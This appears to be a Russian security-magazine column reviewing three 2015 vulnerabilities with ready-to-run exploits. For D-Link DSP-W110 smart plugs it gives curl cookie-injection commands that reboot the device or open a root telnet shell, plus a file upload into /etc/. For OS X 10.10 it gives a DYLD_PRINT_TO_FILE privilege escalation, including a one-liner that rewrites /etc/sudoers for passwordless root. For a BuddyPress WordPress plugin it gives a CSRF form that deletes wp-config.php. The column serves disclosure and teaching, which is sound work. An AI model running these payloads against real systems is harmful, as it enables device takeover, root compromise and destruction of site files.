Содержание статьи
В сегодняшнем обзоре мы разберем уязвимости, которые в некоторой степени банальны, но при этом были обнаружены в популярном ПО. Несколько уязвимостей было найдено в устройстве D-Link DSP-W110, и одна интересная уязвимость обнаружилась в актуальной версии популярной операционной системы OS X Yosemite. На момент написания текста эта уязвимость так и не исправлена.
Многочисленные уязвимости в D-Link DSP-W110
CVSSv2
нет
BRIEF
Дата релиза: 12 июня 2015
Автор: Peter Adkins
CVE: нет
Патчи для lighttpd, добавленные D-Link, сделали это устройство уязвимым к SQL-инъекции и выполнению произвольного кода. Это произошло из-за недостаточной фильтрации данных, приходящих от пользователя.
Для доступа к сервису lighttpd не требуется аутентификация, что позволяет атакующему выполнять команды на устройстве с правами администратора при выполнении обычного HTTP-запроса.
Проблема вызвана тем, что содержимое cookie из HTTP-запроса с любым именем передается как есть в функцию sprintf() и используется для формирования SQL-запроса для проверки существующих сессий. Поэтому достаточно отправить HTTP-запрос с правильно сформированным набором печенек, чтобы внутренняя СУБД sqlite выполнила произвольный SQL-код.
Еще одна проблема заключается в том, что SQL-запрос передается в функцию popen() и будет выполнен после HTTP-запроса. Это позволяет нам выполнять на устройстве произвольные команды, да ещё и с правами администратора.
Правда, у этой ошибки есть ограничение (длина выделенного буфера), поэтому значение cookie не должно превышать девятнадцать символов. Но такого размера вполне хватает для перезагрузки устройства или запуска шелла (Telnet).
Ещё одна уязвимость — загрузка произвольных файлов на устройство. Существующий скрипт для загрузки файлов содержит некоторый фильтр, который можно обойти, если указать в запросе прямой путь и не использовать аргумент dev.
Третья уязвимость позволяет атакующему получить следующую информацию:
- текущие WLAN SSIDs;
- текущие WLAN каналы;
- LAN и WAN MAC адреса;
- текущую версию прошивки;
- информацию о «железе».
Разберём подробно первую уязвимость. Её причина тривиальна. Во время обработки заголовков HTTP входящего запроса, пропатченный lighttpd копирует все cookie, найденные в запросе, внутрь hnap_cookie из request.c (строка 845).
Хакер #199. Как взломали SecuROM
Cookie обрабатываются внутри mod_hnap.c, где их значение получается из строки (строка 30).
Далее это значение копируется в SQL-запрос с помощью функции sprintf() (строка 56) и затем используется в функции popen() (строка 64).
В итоге у нас получился показательный пример уязвимости, демонстрирующий, как не нужно обрабатывать данные, поступившие от пользователя — особенно, если это и SQL-запрос и команда, которая идет в шелл администратора.
EXPLOIT
Приведу примеры выполнения произвольных команд. Перегрузка устройства:
# curl \
--cookie "terribleness='\`reboot\`" \
192.168.1.3Запустить шелл (telnet):
# curl \
--cookie "terribleness=\`telnetd -l/bin/sh\`" \
192.168.1.3Загрузка файлов:
# echo 'Some String' > test.txt
# curl \
-X POST \
-i \
-F name=@test.txt \
--http1.0 \
'192.168.1.3/web_cgi.cgi?&request=UploadFile&path=/etc/'Пример раскрытия информации:
# curl \
192.168.1.3/mplist.txtАвтор, помимо отчёта об уязвимости, опубликовал эксплоит на Ruby, который с легкостью портировали в Metasploit. Для проведения атаки можно использовать как свои скрипты, так и готовые, или же взять модуль msf:
msf > use exploit/linux/http/dlink_dspw110_cookie_noauth_exec
TARGETS
D-Link DSP-W110 (Rev A) — v1.05b01
SOLUTION
Есть исправление от производителя
Повышение привилегий в OS X 10.10 через DYLD_PRINT_TO_FILE
CVSSv2
нет
BRIEF
Дата релиза: 7 Июля 2015
Автор: Stefan Esser
CVE: нет
С релизом OS X 10.10 Apple добавила несколько новых функций в динамический компоновщик dyld. Одна из них — новая переменная окружения DYLD_PRINT_TO_FILE, которая включает логирование ошибок в произвольный файл.
DYLDPRINT_TO_FILE — это путь к (записываемому) файлу. Обычно динамический компоновщик пишет весь лог (вызванный с помощью настроек, которые начинаются с DYLD_PRINT) в файловый дескриптор 2 (обычно это stderr). Но эта опция позволяет выводить лог в специальный файл.
С введением этой переменной обычные средства защиты, которые необходимы при добавлении поддержки новых переменных окружения в динамическом компоновщике, не были использованы. Поэтому её могут использовать любые исполняемые файлы с битом SUID. Это опасно, так как позволяет открыть или создать произвольный файл с владельцем root в любом месте файловой системы. К тому же открытый файл с логами никогда не закрывается, поэтому файловый дескриптор становится доступным внутри процессов, созданных с помощью SUID файлов. Это означает, что дочерние процессы таких SUID тоже могут писать в произвольные файлы, принадлежащие пользователю root, в любом месте файловой системы. Это позволяет легко повысить привилегии в OS X 10.10.x.
Когда Apple изменила динамический код компоновщика для поддержки новой переменной окружения DYLD_PRINT_TO_FILE, в функции _main из dyld появился следующий фрагмент. Из него видно, что значение переменной используется напрямую как имя файла для открытия или создания файла с логами.
const char* loggingPath = _simple_getenv(envp, "DYLD_PRINT_TO_FILE");
if ( loggingPath != NULL ) {
int fd = open(loggingPath, O_WRONLY | O_CREAT | O_APPEND, 0644);
if ( fd != -1 ) {
sLogfile = fd;
sLogToFile = true;
}
else {
dyld::log("dyld: could not open DYLD_PRINT_TO_FILE='%s', errno=%d\n", loggingPath, errno);
}
}Проблема этого кода заключается в том, что нет никаких проверок при добавлении новых переменных окружения. Как правило, по соображениям безопасности динамический компоновщик должен отклонять все значения переменной окружения, которые указывают на «запрещенные» файлы. Такая обработка автоматически срабатывает при добавлении новой переменной окружения через функцию processDyldEnvironmentVariable(). Однако, код для переменной DYLD_PRINT_TO_FILE был добавлен напрямую в функцию _main, поэтому dyld сводобно принимает значения DYLD_PRINT_TO_FILE, содержащие «запрещенные» файлы (к примеру — с битом SUID).
Apple исправила эту уязвимость в OS X 10.11, переместив код для DYLD_PRINT_TO_FILE (и другой новой переменной окружения) в функцию processDyldEnvironmentVariable(), в которой есть механизм защиты. Возможно, это исправление получилось в ходе обычного рефакторинга. Если же это был именно патч для устранения уязвимости, то мы видим пример того, что Apple не разменивается на патчи для старой версии ОС в то время, когда новая проходит публичный бета-тест.
Протестировать, уязвима ли система к этой атаке, можно из командной строки. Можно, к примеру, ввести следующую команду:
$ EDITOR=/usr/bin/true DYLD_PRINT_TO_FILE=/this_system_is_vulnerable crontab -eПосле этого в корневой директории ОС появится файл this_system_is_vulnerable. Проверяем:
$ ls / | grep vulnerable
this_system_is_vulnerable
Если файл есть, значит, система уязвима. Для его удаления понадобятся права суперпользователя.
EXPLOIT
После того как мы увидели, что система уязвима, этот факт можно проэксплуатировать и поднять свои права в ОС. Пока рассмотрим пример с созданием пустого файла в произвольном месте системы. Наша уязвимость позволяет полностью его контролировать из-за утечки файлового дескриптора в дочерние процессы SUID бинарника, который был запущен. Мы можем снова это продемонстрировать с помощью нескольких строк в командной строке:
$ DYLD_PRINT_TO_FILE=/this_system_is_vulnerable su <some_username>
Password:
bash-3.2$ ls -la /this_system_is_vulnerable
-rw-r--r-- 1 root wheel 0 Jul 21 17:22 /this_system_is_vulnerable
bash-3.2$ echo "Test 1" >&3
bash-3.2$ echo "Test 2" >&3
bash-3.2$ cat /this_system_is_vulnerable
Test 1
Test 2Файловый дескриптор 3 связан с открытым лог-файлом и позволяет напрямую писать в него из порожденного шелла. При этом неавторизованный пользователь может добавлять данные в файл, который принадлежит администратору системы. Это может быть любой файл в системе, что позволяет с легкостью повысить привилегии (в данном примере мы использовали su, который требует ввод собственного пароля пользователя, но могли бы использовать трюк с crontab, как в предыдущем примере).
Мы показали, как можно добавить нужные данные в произвольный файл системы. При этом мы ограничены флагом O_APPEND, из-за которого файл нельзя перезаписать. Однако эта проблема не так страшна, как может показаться: флаг O_APPEND для файлового дескриптора может отключить любой, кто его контролирует. Для этого достаточно системного вызова fcntl(F_SETFL). Следующий код на языке C демонстрирует, как можно писать что угодно в любой файл ОС:
int main(int argc, char **argv)
{
int fd;
char buffer[1024];
/* отключение O_APPEND */
fcntl(3, F_SETFL, 0);
lseek(3, 0, SEEK_SET);
strcpy(buffer, "anything - anything - anything");
write(3, &buffer, strlen(buffer));Если совместить этот код с примером, описанным выше, можно будет переписать любой файл в системе.
Теперь, когда мы можем писать что угодно в любой файл, первой мыслью стало переписать какой-нибудь исполняемый файл SUID собственным кодом для создания шелла. Но есть одна проблема, информацию о которой можно найти в системном руководстве к вызову write в OS X:
«Если реальный пользователь не является администратором, то write() очищает SUID-бит у файла. Это предотвращает проникновение в систему пользователя, который "захватил" записываемый SUID-файл, принадлежащий администратору».
Этот отрывок из руководства к функции write(2) звучит так, будто мы не сможем использовать атаку и переписывать файлы администратора с SUID-битом. Но не нужно верить руководству! На практике оказывается возможной перезапись произвольных файлов, в том числе исполняемых. Упрощение внутри ядра, которое ввели в Apple, не срабатывает в нашем случае, потому что файл с логами открывается с помощью исполняемого SUID-файла, который принадлежит root. Следовательно, он полностью соответствует правам доступа. Таким образом, процесс записи в файловой системе будет верить, что он выполняется с правами администратора и SUID-бит не удалится.
Полный код эксплоита можно найти в статье его автора. Используй его на свой страх и риск. В ходе его эксплуатации текущий пользователь получает права администратора, и в системе появляется ещё один шелл с именем /usr/bin/boomsh, чтобы облегчить доступ в будущем.
Есть и упрощенная версия (автор — lsdhobo):
echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
TARGETS
OS X 10.10 - 10.10.4 (включая текущую бета-версию 10.10.5)
SOLUTION
Автор предлагает «месяцы ждать от Apple патча» (или OS X 10.11), либо установить утилиту SUIDGuard.
CSRF уязвимость в плагине BuddyPress Activity Plus
CVSSv2
8.5 (AV:N/AC:L/Au:N/C:N/I:P/A:C)
BRIEF
Дата релиза: 8 Июля 2015
Автор: Tom Adams
CVE: нет
Исследователем Томом Адамсом из команды dxw была обнаружена необычная CSRF-уязвимость в плагине BuddyPress Activity Plus. Этот плагин позволяет владельцам сайта на WordPress вставлять видео и другие виды медиа в свою ленту. Необычность этой уязвимости заключается в том, что, по сути, единственная польза от нее — это возможность удалить любой файл в системе, к которому есть доступ у PHP процесса.
EXPLOIT
Для атаки нужно создать страницу со следующим содержимым и «заставить» авторизованного пользователя нажать кнопку:
<form method="POST" action="http://localhost/wp-admin/admin-ajax.php">
<input type="text" name="action" value="bpfb_remove_temp_images">
<input type="text" name="data" value="bpfb_photos[]=../../../../wp-config.php">
<input type="submit">
</form>Далее масштабы атаки будут зависеть от полномочий PHP-пользователя на сервере. Идентичная атака возможна, если установлен плагин BP Group Documents. Для этого нужно заменить bpfb_remove_temp_images на bpfb_remove_temp_documents и bpfb_photos на bpfb_documents.
TARGETS
BuddyPress Activity Plus 1.5
SOLUTION
Есть исправление от производителя
